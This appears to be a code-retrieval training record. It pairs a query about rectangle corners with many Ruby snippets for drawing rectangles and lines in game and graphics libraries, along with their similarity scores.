"def rect_to_lines(rect)\n x = rect[:x]\n y = rect[:y]\n x2 = rect[:x] + rect[:w]\n y2 = rect[:y] + rect[:h]\n [{ x: x, y: y, x2: x2, y2: y },\n { x: x, y: y, x2: x, y2: y2 },\n { x: x2, y: y, x2: x2, y2: y2 },\n { x: x, y: y2, x2: x2, y2: y2 }]\n end",
"def rect_to_lines(rect)\n x = rect[:x]\n y = rect[:y]\n x2 = rect[:x] + rect[:w]\n y2 = rect[:y] + rect[:h]\n\n [{ x: x, y: y, x2: x2, y2: y },\n { x: x, y: y, x2: x, y2: y2 },\n { x: x2, y: y, x2: x2, y2: y2 },\n { x: x, y: y2, x2: x2, y2: y2 }]\n end",
"def to_rect\n CGRectMake(*self[0,4])\n end",
"def rect; end",
"def rect; end",
"def item_rect(index)\n index -= 1 if index == @max_char\n x = index % max_col\n y = index / max_col\n n = [(@max_char - y * max_col), max_col].min\n \n x = left(n) + x * char_width\n x = width - x - 48 if not @ltr\n y = 24 + y * (line_height + 4)\n Rect.new(x, y, char_width, line_height)\n end",
"def from row, col\n rect(col, row)\n end",
"def rect\n get.rect\n end",
"def draw_line; draw_horizontal_line(@draw_y + (line_height / 2) - 1, 2); end",
"def item_rect(index)\n rect = Rect.new\n rect.width = item_width\n rect.height = item_height\n rect.x = index % col_max * (item_width + spacing)\n rect.y = line_height + (index / col_max * item_height)\n rect\n end",
"def draw_rect_outline(x, y, w, h, colour)\n # Horizontal Lines\n contents.fill_rect(x, y, w, 2, colour)\n contents.fill_rect(x, y + h - 2, w, 2, colour)\n # Vertical Lines\n contents.fill_rect(x, y, 2, h, colour)\n contents.fill_rect(x + w - 2, y, 2, h, colour)\n end",
"def rect\n Image.run_cmplx(self) { |x| x.complex :rect }\n end",
"def Rect(x, y, w, h, style='')\n\t\t#Draw a rectangle\n\t\tif (style=='F')\n\t\t\top='f';\n\t\telsif (style=='FD' or style=='DF')\n\t\t\top='B';\n\t\telse\n\t\t\top='S';\n\t\tend\n\t\tout(sprintf('%.2f %.2f %.2f %.2f re %s', x * @k, (@h - y) * @k, w * @k, -h * @k, op));\n\tend",
"def rect x, y, w, h, c, fill = false\n screen.draw_rect x, self.h-y-h, w, h, color[c], fill\n end",
"def norm_src_rect\n index = (@character.character_index || 0)\n pattern = @character.pattern < 3 ? @character.pattern : 1\n sx = (index % 4 * 3 + pattern) * @cw\n sy = (index / 4 * 4 + (get_direction - 2) / 2) * @ch\n self.src_rect.set(sx, sy, @cw, @ch)\n end",
"def draw_rect(x,y,w,h,c)\n self.draw_quad(x,y,c,x+w,y,c,x,y+h,c,x+w,y+h,c)\n end",
"def render_rect loc\n {\n x: loc.col * state.cell_size,\n y: loc.row * state.cell_size,\n w: state.cell_size,\n h: state.cell_size,\n }\n end",
"def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding) + line_height + standard_padding\n rect\n end",
"def item_rect_for_cursor(index)\n rect = item_rect(index)\n rect.x += 6\n rect.y = 0\n rect.height = fitting_height(0) + 6\n rect.width = 148\n rect\n end",
"def item_bitmap\n bitmap = Bitmap.new(24, 24)\n rect = line_rect\n rect.width = 24\n bitmap.blt(0, 0, contents, rect)\n bitmap\n end",
"def get_vert_beam_rect(x, y)\n beam_ul = [(@hub_spacing/2 + @hub_spacing*x) - @hub_dia/2, @hub_spacing/2 + @hub_spacing*y, 0]\n beam_lr = [(@hub_spacing/2 + @hub_spacing*x) + @hub_dia/2, @hub_spacing/2 + @hub_spacing*(y+1), 0]\n [beam_ul, beam_lr]\n end",
"def rect(x=0, y=0, w=20, h=20, reg=@registration)\n # center the rectangle\n if (reg == :center)\n x = x - w / 2\n y = y - h / 2\n end\n CGContextAddRect(@ctx, NSMakeRect(x, y, w, h))\n CGContextDrawPath(@ctx, KCGPathFillStroke)\n end",
"def rectangle\n return @rectangle if @rectangle\n\n # Assume that the focal vector is Vector[0, 0, @focus.r]\n assumed = Vector[0, 0, @focus.r]\n @rectangle = [\n Vector[-@width/2, @height/2, @focus.r],\n Vector[ @width/2, @height/2, @focus.r],\n Vector[ @width/2, -@height/2, @focus.r],\n Vector[-@width/2, -@height/2, @focus.r]\n ]\n\n # Rotate assumed to @focus\n normal = assumed.cross_product(@focus)\n if normal.r < EPSILON # assumed and @focus lie on a same line\n normal = Vector[1, 0, 0] # The camera is not rolled\n end\n angle = assumed.angle(@focus)\n @rectangle = @rectangle.map { |v| v.rotate!(normal, angle) } if normal.r > EPSILON && angle > EPSILON\n\n # Translate\n @rectangle = @rectangle.map { |v| v + @position }\n\n @rectangle\n end",
"def rect(x0, y0, x1, y1, stroke_color = ChunkyPNG::Color::BLACK, fill_color = ChunkyPNG::Color::TRANSPARENT)\n stroke_color = ChunkyPNG::Color.parse(stroke_color)\n fill_color = ChunkyPNG::Color.parse(fill_color)\n\n # Fill\n unless fill_color == ChunkyPNG::Color::TRANSPARENT\n [x0, x1].min.upto([x0, x1].max) do |x|\n [y0, y1].min.upto([y0, y1].max) do |y|\n compose_pixel(x, y, fill_color)\n end\n end\n end\n\n # Stroke\n line(x0, y0, x0, y1, stroke_color, false)\n line(x0, y1, x1, y1, stroke_color, false)\n line(x1, y1, x1, y0, stroke_color, false)\n line(x1, y0, x0, y0, stroke_color, false)\n\n self\n end",
"def command_rect(index = 0)\n r_width = contents_width / columns\n r_height = contents_height\n x = r_width * index\n y = 0\n Rect.new(x, y, r_width, r_height)\n end",
"def rect x, y, w, h, c, fill = false\n screen.draw_rect x, y, w, h, color[c], fill\n end",
"def draw_rect(rect, color, zorder)\r\n $window.draw_line(rect.x, rect.y, color, rect.right, rect.y, color, zorder)\r\n $window.draw_line(rect.right, rect.y, color, rect.right, rect.bottom, color, zorder)\r\n $window.draw_line(rect.right, rect.bottom, color, rect.x, rect.bottom, color, zorder)\r\n $window.draw_line(rect.x, rect.bottom, color, rect.x, rect.y, color, zorder)\r\n end",
"def item_rect(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.width = (contents.width + @spacing) / @column_max - @spacing\n rect.height = (WLH * $game_message.multi_line_choice)\n rect.x = index % @column_max * (rect.width + @spacing)\n rect.y = index / @column_max * (WLH * $game_message.multi_line_choice)\n return rect\n end",
"def update_src_rect\r\n index = @character.character_index\r\n pattern = @character.pattern < 3 ? @character.pattern : 1\r\n sx = (index % 4 * 3 + pattern) * @cw\r\n sy = (index / 4 * 4 + (@character.direction - 2) / 2) * @ch\r\n self.src_rect.set(sx, sy, @cw, @ch)\r\n end",
"def draw_rect x, y, w, h, c\n @screen.fill_rect x, y, w, h, c\n @screen.fill_rect x + 1, y + 1, w - 2, h - 2, 0x000000\n end",
"def draw_vertical(start_line, end_line, start_char)\n start_line.upto(end_line) do |line_idx| \n @lines[line_idx][start_char] = PATH_CHAR \n end\n end",
"def shifted_horizontal_line y\n line = { x: grid.width + 1, y: y, w: grid.width, h: 0 }\n line.transform_values { |v| v * grid.cell_size }\n end",
"def item_rect(*args, &block)\n rect = super(*args, &block)\n rect.y += [(rect.height - 98) / 2, 0].max\n rect.height = 98\n rect\n end",
"def draw_line(start, endpoint)\n start = start.to_coords if start.respond_to?(:to_coords)\n start = start.to_ary # ... end\nend",
"def to_rect()\n Vector.elements([self[0]*Math.cos(self[1])*Math.cos(self[2]),\n\t\t self[0]*Math.sin(self[1])*Math.cos(self[2]),\n\t\t self[0]*Math.sin(self[2])])\n end",
"def get_active_rect\n x = screen[:width_in_pixels] * 0.5\n y = screen[:height_in_pixels] * 0.5 \n \n x,y = center_on(x,y,active_client_width,active_client_height)\n \n return x,y,active_client_width,active_client_height\n end",
"def draw_red_line(x_start, y_start, x_end, stat_max, stat_min, p_thresh, rotate)\n x = @box_size\n xmin = x\n\n ymin = 0\n ymax = @box_size*9\n y_interval = ymax-ymin\n\n # set stat_min to be zero\n stat_min = 0\n stat_max = @functional_max\n\n stat_interval = stat_max - stat_min\n\n p_thresh = get_neg_log(p_thresh)\n y=((stat_max-p_thresh) / stat_interval) * y_interval\n if rotate\n y = y_interval - y\n end\n\n x_begin = @box_size * 0.7\n\n @canvas.g.translate(x_start, y_start) do |l|\n l.styles(:fill=>'none', :stroke_width=>1, :stroke=>'red', :fill_opacity=>0.1, :stroke_opacity=>0.5)\n l.line(x_begin, y, x_end-x_start, y)\n end\n\n end",
"def anim_src_rect\n mode = bat.anim_mode\n if (mode == :CHARSET)\n self.mirror = false;\n norm_src_rect\n return\n end\n multiplier = (mode == :GTBS ? @pose * 4 : @pose)#direction multiplier\n cur_frame = @index_array[@frame_index] #gets from number from index array\n sx = cur_frame * @cw #sets start x for cut window\n if mode == :MINKOFF #Minkoff ignores direction\n sy = multiplier*@ch\n if @dir != nil and @dir == 6\n self.mirror = true\n else\n self.mirror = false\n end\n elsif mode == :GTBS\n self.mirror = false;\n sy = (((get_direction - 2) / 2) * @ch) + (multiplier*@ch) \n elsif :KADUKI\n self.mirror = false;\n dir = get_kaduki_pose_direction(@pose)\n sy = ((dir - 2) / 2) * @ch #all animated battlers must be $ started!\n end\n self.src_rect.set(sx, sy, @cw, @ch)\n end",
"def drawrect(*)\n super\n end",
"def item_rect(index)\r\n rect = super\r\n rect.x = index * (item_width + spacing)\r\n rect.y = 0\r\n rect\r\n end",
"def get_rect_for_client i\n max_width=screen[:width_in_pixels]\n max_height=screen[:height_in_pixels]\n \n cx = max_width * 0.5\n cy = max_height * 0.5\n \n pad_x = 20\n pad_y = 40\n \n yr = 0.5 * (max_height - pad_y - inactive_client_height)\n xr = 0.5 * (max_width - pad_x - inactive_client_width)\n \n position = (get_placement_angle() * i)\n if position >= 360\n i = (position - 360 - get_placement_angle) / get_placement_angle()\n position = (get_placement_angle() + 8) * i\n if position >= 360-8\n i = (position - 360 - 8 - get_placement_angle) / get_placement_angle() \n position = (get_placement_angle() + 16) * i\n end\n end\n \n a = position * (Math::PI / 180.0)\n \n x = cx + xr * Math.cos(a)\n y = cy + yr * Math.sin(a)\n \n x,y = center_on(x,y,inactive_client_width,inactive_client_height)\n \n return x,y,inactive_client_width,inactive_client_height\n end",
"def line_ranges=(_); end",
"def draw_box(line_num)\n return if line_num < 1\n x = (line_height / 2) - 1\n y = @draw_y + (line_height / 2) - 1\n w = contents_width - 2*x\n h = (1 + line_num)*line_height\n draw_rect_outline_with_shadow(x, y, w, h) \n end",
"def get_bounding_rectangle\n leftmost_x = @panel.get_width\n rightmost_x = 0\n top_y = @panel.get_height\n bottom_y = 0\n\n @entities.each do |e|\n e_x = e.get_x\n e_y = e.get_y\n\n if e_x < leftmost_x\n leftmost_x = e_x\n end\n\n if e_x + ENTITY_WIDTH > rightmost_x\n rightmost_x = e_x + ENTITY_WIDTH\n end\n\n if e_y < top_y\n top_y = e_y\n end\n\n if e_y + ENTITY_HEIGHT > bottom_y\n bottom_y = e_y + ENTITY_HEIGHT\n end\n\n #if leftmost_x - 17 > 0\n # leftmost_x = leftmost_x -17\n #else\n # leftmost_x = 0\n #end\n\n #if rightmost_x + 17 < @panel.get_width\n # rightmost_x = rightmost_x +17\n #else\n # rightmost_x = @panel.get_width\n #end\n\n #if top_y - 17 > 0\n # top_y = top_y -17\n #else\n # top_y = 0\n #end\n\n #if bottom_y + 17 < @panel.get_height\n # bottom_y = bottom_y + 17\n #else\n # bottom_y = @panel.get_height\n #end\n\n end\n return Rectangle.new leftmost_x, top_y, rightmost_x - leftmost_x, bottom_y - top_y\n end",
"def textRectangle\n orect = getRect();\n orect.width -= 25;\n return rect;\n end",
"def from_line\n position.new_line\n end",
"def get_horiz_beam_rect(x, y)\n beam_ul = [@hub_spacing/2 + @hub_spacing*x, (@hub_spacing/2 + @hub_spacing*y) - @hub_dia/2, 0]\n beam_lr = [@hub_spacing/2 + @hub_spacing*(x+1), (@hub_spacing/2 + @hub_spacing*y) + @hub_dia/2, 0]\n [beam_ul, beam_lr]\n end",
"def rect(x, y, width, height, rgb, fill=true)\n rect_rounded(x, y, width, height, rgb, 0, 0, fill)\n end",
"def item_rect(index)\n rect = Rect.new\n rect.width = item_width\n rect.height = item_height\n rect.x = item_position(index).at(0)\n rect.y = item_position(index).at(1)\n rect\n end",
"def item_rect(index)\n rect = super\n rect.x = index * (item_width + spacing)\n rect.y = 0\n rect\n end",
"def bound_in_rect(rect)\n result = rect\n if rect.x < 0\n result.width = rect.width - rect.x\n result.x = 0\n end\n if rect.y < 0\n result.height = result.height - rect.y\n result.y = 0\n end\n if rect.width > xsize\n result.width = xsize\n end\n if rect.height > ysize\n result.height = ysize\n end\n return result\n end",
"def rect x, y\n [x * sprite_width, y * sprites_per_row, sprite_width, sprite_height]\n end",
"def new_line(command)\n if command[1] == command[3]\n if command[2].to_i > @canvas.width - 2 || command[4].to_i > @canvas.width - 2\n puts 'you can not create the line because it is larger than the canvas'\n return\n else\n line_shape = :horizontal\n end\n elsif command [2] == command[4]\n if command[1].to_i > @canvas.height - 2 || command[3].to_i > @canvas.height - 2\n puts 'you can not create the line because it is larger than the canvas'\n return\n else\n line_shape = :vertical\n end\n else\n puts 'The line you are trying to create is not horizontal or vertical'\n return\n end\n @canvas.commands.new_line(command[1], command[2], command[3], command[4], line_shape)\n end",
"def vertical_line x\n line = { x: x, y: 0, w: 0, h: grid.height }\n line.transform_values { |v| v * grid.cell_size }\n end",
"def vertical_line x\n line = { x: x, y: 0, w: 0, h: grid.height }\n line.transform_values { |v| v * grid.cell_size }\n end",
"def item_rect(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.x = index % 10 * 32 + index % 10 / 5 * 16\n rect.y = index / 10 * WLH\n rect.width = 32\n rect.height = WLH\n return rect\n end",
"def point_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 15, \"Click inside the blue box maybe ---->\")\n\n box = [765, 370, 50, 50, 0, 0, 170] # blue box\n outputs.borders << box\n\n if state.last_mouse_click # if the mouse was clicked\n if state.last_mouse_click.point.inside_rect? box # if mouse clicked inside box\n outputs.labels << small_label(x, 16, \"Mouse click happened inside the box.\")\n else # otherwise, if mouse was clicked outside the box\n outputs.labels << small_label(x, 16, \"Mouse click happened outside the box.\")\n end\n else # otherwise, if was not clicked at all\n outputs.labels << small_label(x, 16, \"Mouse click has not occurred yet.\") # output if the mouse was not clicked\n end\n\n # border around mouse input demo section\n outputs.borders << [455, row_to_px(14), 360, row_to_px(11).shift_up(5) - row_to_px(14)]\n end",
"def screen_rect\n s = self.screen\n return Rubygame::Rect.new(0,0,s.w,s.h)\n end",
"def rect(wide, tall)\n tall.times do |row|\n wide.times do |col|\n @display[row][col] = '#'\n end\n end\n self\n end",
"def fast_rect x, y, w, h, c\n screen.fill_rect x, self.h-y-h, w, h, color[c]\n end",
"def rect(col, row)\n row.times do |row_index|\n col.times do |col_index|\n @data[row_index][col_index] = true\n end\n end\n end",
"def line_to(x, y)\n update_bounds_rect(@x, @y, x, y)\n @x, @y = x, y\n @gui.line_to(x, y)\n self\n end",
"def horizontal_line y\n line = { x: 0, y: y, w: grid.width, h: 0 }\n line.transform_values { |v| v * grid.cell_size }\n end",
"def horizontal_line y\n line = { x: 0, y: y, w: grid.width, h: 0 }\n line.transform_values { |v| v * grid.cell_size }\n end",
"def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[2] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n # Rects Adjustments\n \n # ucEncounters\n rects[0][1].x += rects[0][0].width\n rects[0][2].x = rects[0][1].x + rects[0][1].width\n rects[0][2].width = rect.width - rects[0][0].width - rects[0][1].width\n \n # ucDefeated\n rects[1][0].y += spacing\n rects[1][1].x += rects[1][0].width\n rects[1][1].y = rects[1][0].y\n rects[1][2].x = rects[1][1].x + rects[1][1].width\n rects[1][2].y = rects[1][0].y\n rects[1][2].width = rect.width - rects[1][0].width - rects[1][1].width\n \n # ucEscaped\n rects[2][0].y += spacing*2\n rects[2][1].x += rects[2][0].width\n rects[2][1].y = rects[2][0].y\n rects[2][2].x = rects[2][1].x + rects[2][1].width\n rects[2][2].y = rects[2][0].y\n rects[2][2].width = rect.width - rects[2][0].width - rects[2][1].width\n \n # ucExp\n rects[3][0].y += spacing*3\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].x = rects[3][1].x + rects[3][1].width\n rects[3][2].y = rects[3][0].y\n rects[3][2].width = rect.width - rects[3][0].width - rects[3][1].width\n \n # ucGold\n rects[4][0].y += spacing*4\n rects[4][1].x += rects[4][0].width\n rects[4][1].y = rects[4][0].y\n rects[4][2].x = rects[4][1].x + rects[4][1].width\n rects[4][2].y = rects[4][0].y\n rects[4][2].width = rect.width - rects[4][0].width - rects[4][1].width\n \n return rects\n end",
"def y\n rect.y\n end",
"def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding)\n rect\n end",
"def draw_horizontal_line(y, h = 2)\n contents.fill_rect(0, y, contents_width, h, text_color(QuestData::COLOURS[:line]))\n contents.fill_rect(0, y + h, contents_width, [h / 2, 1].max, text_color(QuestData::COLOURS[:line_shadow]))\n end",
"def computed\n Rect.new(true_x, true_y, true_width, true_height)\n end",
"def draw_horizontal(line, start_char, end_char)\n start_char.upto(end_char) { |char_idx| @lines[line][char_idx] = PATH_CHAR } \n end",
"def rectangular\n [re, im]\n end",
"def define_cursor_rect\n cursor_rect.set(-4, @index * default_line_height, cursorskin.width, cursorskin.height)\n end",
"def rectangle(x, y, width, height, options={})\n cur_page.rectangle(x, y, width, height, options)\n end",
"def draw\n calculateStartrow\n calculateStartcol\n\n theme_ui = Rim::Paint.theme[:ui]\n plain = Rim::Paint.theme[:plain]\n str = ''\n\n row = @row\n # lines array index in buffer\n line = @start_row\n buffer_size = @buffer.lines.size\n until row > endRow do\n str << T.default << theme_ui[:pane]\n # set the curser with the row\n str << T::cursor(row, @col)\n # fill gaps and reset for other\n # str << (@width < 5 ? '@' : ' ') * width\n str << ' ' * @width\n str << T::cursor(row, @col)\n # pane separator if\n str << theme_ui[:pane_sep] << theme_ui[:pane_sep_char]\\\n << T.default if @separator\n\n # paint the content only if there's room\n if @width >= 5\n # if more line in buffer and\n # save space for the bottom status line\n if line < buffer_size && row < endRow\n # if line numbers enabled\n if $numbers\n display_line = (line + 1).to_s\n str << T.default << theme_ui[:pane_numbers]\n\n str << ' ' * ($numbers_min_space +\n (buffer_size.to_s.length - display_line.length)) \\\n << display_line << ' ' # number and end space\n\n str << T.default\n end\n # == paint lines ==\n # calculate space left for content\n max_line_length = 0\n max_line_length += $numbers_min_space + 1 if $numbers # spaces\n max_line_length += buffer_size.to_s.length if $numbers# numbers\n max_line_length = @width - max_line_length + sep_width\n\n # we need :to_do syntax highlighting next\n # like add attributes at row:col in Buffer\n # process by colums\n str << plain[:line]\n str << plain[:current_line] if @buffer.row == line + 1\n # replace tabs with spaces virtually\n buffer_line = @buffer.lines[line][@start_col..10**10]\n if buffer_line == nil\n buffer_line = ''\n end\n buffer_line = buffer_line\n buffer_line[0..max_line_length].chars.each_with_index do |char, col|\n # insert syntax attributes here for a todo\n str << char\n end\n str << ' ' * (max_line_length - buffer_line.length) if buffer_line.size < max_line_length\n elsif row < endRow\n str << T.default << theme_ui[:pane]\n str << '~'\n elsif row == endRow\n str << Rim::Paint.theme[:status_line].call(self)\n end # line < buffer_size && row < endRow\n end # @width >= 5\n\n # next row\n row += 1\n line += 1\n end # until\n str << T.default\n if @focused && width >= 5\n # cursor row\n crow = @row + (@buffer.cursor_row - 1 - @start_row)\n ccol = @col - 1 + sep_width\n ccol += $numbers_min_space + buffer_size.to_s.length + 1 if $numbers\n ccol += @buffer.col + 1 - @start_col\n str << T.cursor(crow, ccol)\n elsif @focused && width < 5\n str << T.cursor(@row, @col)\n end\n return str\n end",
"def line\n\t\t\t@line.set(buffer.line.start, buffer.line.end)\n\t\tend",
"def geometry\n linestring\n end",
"def clone\n return Rect.new(self.x, self.y, self.width, self.height)\n end",
"def rect_of_size(size)\n CGRect.new([self.x, self.y], size)\n end",
"def split\n sw = (w / 2.0).round\n sh = (h / 2.0).round\n return Rect.new(x, y, sw, sh),\n Rect.new(x + sw, y, sw, sh),\n Rect.new(x, y + sh, sw, sh),\n Rect.new(x + sw, y + sh, sw, sh)\n end",
"def rect(*args)\n Rect.new(self, *args)\n end",
"def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cEquipName\n rects[1].x += rects[0].width\n rects[1].width -= rects[0].width\n \n return rects\n end",
"def draw_rectangle(dpi, drawing)\n drawing.rectangle(\n 0,\n 0,\n (@field['sizex']*dpi).floor,\n (@field['sizey']*dpi).floor\n )\n end",
"def draw_horizontal_segment\n @pixel_y = @cmd_options[@cmd_options.length-2]-1\n @color = @cmd_options.last\n\n @pixel_xs = (@cmd_options[0]..@cmd_options[1]).to_a\n\n @pixel_xs.each do |pixel_x|\n pixel_x -=1\n @matrix[@pixel_y][pixel_x] = @color\n end\n end",
"def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n value_width = ((rect.width - rects[0][0].width - rects[0][1].width - rects[1][0].width - spacing)/2).floor\n \n # Rects Adjustments\n \n # ucStat\n rects[0][1].x += rects[0][0].width\n rects[0][2].x = rects[0][1].x + rects[0][1].width\n rects[0][2].width = value_width\n \n # ucCompareStat\n rects[1][0].x = rects[0][2].x + rects[0][2].width + spacing\n rects[1][1].x = rects[1][0].x + rects[1][0].width\n rects[1][1].width = value_width\n \n return rects\n end",
"def rb_mvwvline row, col, char, width\n super(row-@top, col-@left, char, width)\n end",
"def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[4] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[5] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[6] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[7] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[8] = Rect.new(rect.x,rect.y,rect.width,24)\n \n # Rects Adjustments\n \n # ucHpCompareStat\n # Nothing to do\n \n # ucMpCompareStat\n rects[1].y += spacing\n \n # ucAtkCompareStat\n rects[2].y += spacing*2\n \n # ucDefCompareStat\n rects[3].y += spacing*3\n \n # ucSpiCompareStat\n rects[4].y += spacing*4\n \n # ucAgiCompareStat\n rects[5].y += spacing*5\n \n # ucEvaCompareStat\n rects[6].y += spacing*6\n \n # ucHitCompareStat\n rects[7].y += spacing*7\n \n # ucCriCompareStat\n rects[8].y += spacing*8\n \n return rects\n end",
"def sideline_seg( side )\n l = nil\n case side\n when :u; l = Gseg.new_by_pos( x1y1, x2y1 )\n when :d; l = Gseg.new_by_pos( x1y2, x2y2 )\n when :l; l = Gseg.new_by_pos( x1y1, x1y2 )\n when :r; l = Gseg.new_by_pos( x2y1, x2y2 )\n else; l = nil\n end\n l\n end",
"def vrect\n @sprite.viewport.nil? ? Rect.new(0, 0, Graphics.width, Graphics.height) : \n @sprite.viewport.rect\n end",
"def rb_mvwvline row, col, char, width\n mvwvline row, col, char, width\n end",
"def bottom\n self.ox = self.src_rect.width/2\n self.oy = self.src_rect.height\n end",
"def set_rect\n if character\n x_rect, y_rect = self.x-self.ox*self.zoom_x, self.y-self.oy*self.zoom_y\n w_rect, h_rect = self.src_rect.width*self.zoom_x, self.src_rect.height*self.zoom_y\n character.rect.set(x_rect, y_rect, w_rect, h_rect)\n end\n end",
"def ann_rect(x, y, width, height)\n return if @ann_layer == nil\n @ann_layer.rect(width, height, x, y).round(2).styles(:opacity => 0.4, :fill => \"yellow\")\n end",
"def draw(canvas, max_x, max_y)\n render.each_line.with_index do |line, rowi|\n line.each_char.with_index do |char, coli|\n next if char == \"\\n\"\n pos = camera.cartesian2screen(self)\n\n off_x = -camera.x + camera.half_screen_width\n off_y = -camera.y + camera.half_screen_height\n\n # _x = coli + pos.x - camera.half_screen_width\n # _y = rowi + pos.y - camera.half_screen_height\n # _x = coli - (pos.x * width_offset) + width_offset\n # _y = rowi - (pos.y * height_offset) + height_offset\n # _x = coli + x - off_x # pos.x\n # _y = rowi - y + off_y # pos.y\n _x = (camera.screen.width - position.x * width) - width\n _y = (camera.screen.height - position.y * height) - height\n # _x = coli + x\n # _y = rowi + y\n\n _x = position.x*3 - (camera.screen.width/2)\n _y = (camera.screen.height/2) - position.y*3\n\n _x += width*2 + 1\n # _x += width_offset\n _y += height*2 - 1\n # _y += height_offset\n\n _x += coli\n _y += rowi\n\n canvas[_y][_x] = char if camera.can_view?(_x, _y, self)\n # canvas[_x][_y] = char\n # canvas[x][y] = char if camera.can_view?(x, y, self)\n end\n end\n end",
"def draw(graphics)\n graphics.set_color @color.native_color\n graphics.draw @line\n end",
"def drawRectangle(x,y,w,h,fillp=false,color=\"black\")\n @device.drawRectangle(x,y,w,h,fillp,color) ;\n end",
"def draw\n\t\tputs \"\\n\"\n\t\tmid = (@height/2.0).ceil\n\t\tfor line in 1..@height\n\t\t\tspace0 = (mid - (mid-line).abs).abs\n\t\t\tspace1 = (mid - line).abs * 2 - 1\n\t\t\tputs space1 > 0 ?\n\t\t\t\t \" \" * space0 + \"X \" + \" \" * space1 + \"X\" :\n\t\t\t\t \" \" * space0 + \"X\"\n\t\tend\n\tend",
"def draw_advanced(rect, item) end",
"def draw_separation(x_start, y_start, y_min, y_max, x)\n @canvas.g.translate(x_start, y_start) do |lines|\n lines.styles(:stroke=>'#CCCCCC', :stroke_width=>1, :opacity=>0.05)\n lines.line(x, y_min, x, y_max)\n end\n end"
] |
[
"0.64261436",
"0.6387364",
"0.63859695",
"0.635032",
"0.62375915",
"0.62375915",
"0.6219545",
"0.613082",
"0.6117877",
"0.60674816",
"0.60300297",
"0.6009661",
"0.6001778",
"0.5998152",
"0.59886545",
"0.5928466",
"0.58829683",
"0.5880495",
"0.5825702",
"0.581181",
"0.5788006",
"0.5744226",
"0.5729608",
"0.57293",
"0.5723022",
"0.57020307",
"0.56988627",
"0.56896603",
"0.5683513",
"0.56689376",
"0.56545836",
"0.5651139",
"0.56419504",
"0.5623607",
"0.5606588",
"0.5602764",
"0.5599885",
"0.5590189",
"0.55871314",
"0.5584528",
"0.55769145",
"0.55648535",
"0.5540807",
"0.5535489",
"0.55332685",
"0.55266136",
"0.5524817",
"0.5523291",
"0.5522644",
"0.551266",
"0.55061096",
"0.55055887",
"0.5496968",
"0.54749566",
"0.54732555",
"0.54732555",
"0.545828",
"0.54528266",
"0.5451299",
"0.54444975",
"0.5436277",
"0.54360217",
"0.5414577",
"0.54047656",
"0.54047656",
"0.5395291",
"0.53838426",
"0.5381283",
"0.536679",
"0.5366706",
"0.5359686",
"0.5352783",
"0.53506404",
"0.5349452",
"0.53476584",
"0.53457385",
"0.5343612",
"0.53259903",
"0.5324127",
"0.5323041",
"0.5315396",
"0.53148526",
"0.53125584",
"0.53104156",
"0.5280586",
"0.52742714",
"0.5269547",
"0.52695215",
"0.5264986",
"0.52644295",
"0.5263417",
"0.52629083",
"0.52533025",
"0.52478874",
"0.5246051",
"0.5244564",
"0.5244324",
"0.523656",
"0.52297586"
] |
0.6715803
|
1
|
UIRectCorner indicating which corners
|
def initialize(*rect_args)
if CGRect === rect_args[0]
@rect = rect_args[0]
else
@rect = SugarCube::CoreGraphics::Rect(*rect_args)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def corners\n [lower_left, lower_right, upper_right, upper_left]\n end",
"def corner(corner_index)\n end",
"def corner\n corners = [ [0, 0], [0, 2], [2, 0], [2, 2] ]\n opponent_corner = corners.select { |l| @board.square(*l) == @opponent_mark }.first\n opposite = if opponent_corner\n pick_empty([[2-opponent_corner[0], 2-opponent_corner[1]]] | corners)\n else\n pick_empty(corners)\n end\n end",
"def number_of_corners\n @number_of_sides\n end",
"def corners\n unless @corners\n @corners = [first_corner]\n\n ((cell_collection.width+1) * (cell_collection.height+1)).times do |i|\n next_corner = next_clockwise_vertex(@corners.last)\n\n if @corners.include?(next_corner)\n break\n else\n @corners << next_corner\n end\n end\n end\n\n @corners\n end",
"def corners\n [0, 2, 6, 8].find do |corner|\n @board.cells[corner] == \" \"\n end\n end",
"def cornerable? board\n corners_avail = CORNERS.select{|a| board.cells[a] == ' '}\n if corners_avail.empty?\n nil\n else\n corners_avail\n end\n\n end",
"def corners(a)\n return a[0], a[2], a[7], a[5]\n end",
"def corners\n\t\t[[0,0],[0,@m-1],[@n-1,0],[@n-1,@m-1]]\n\tend",
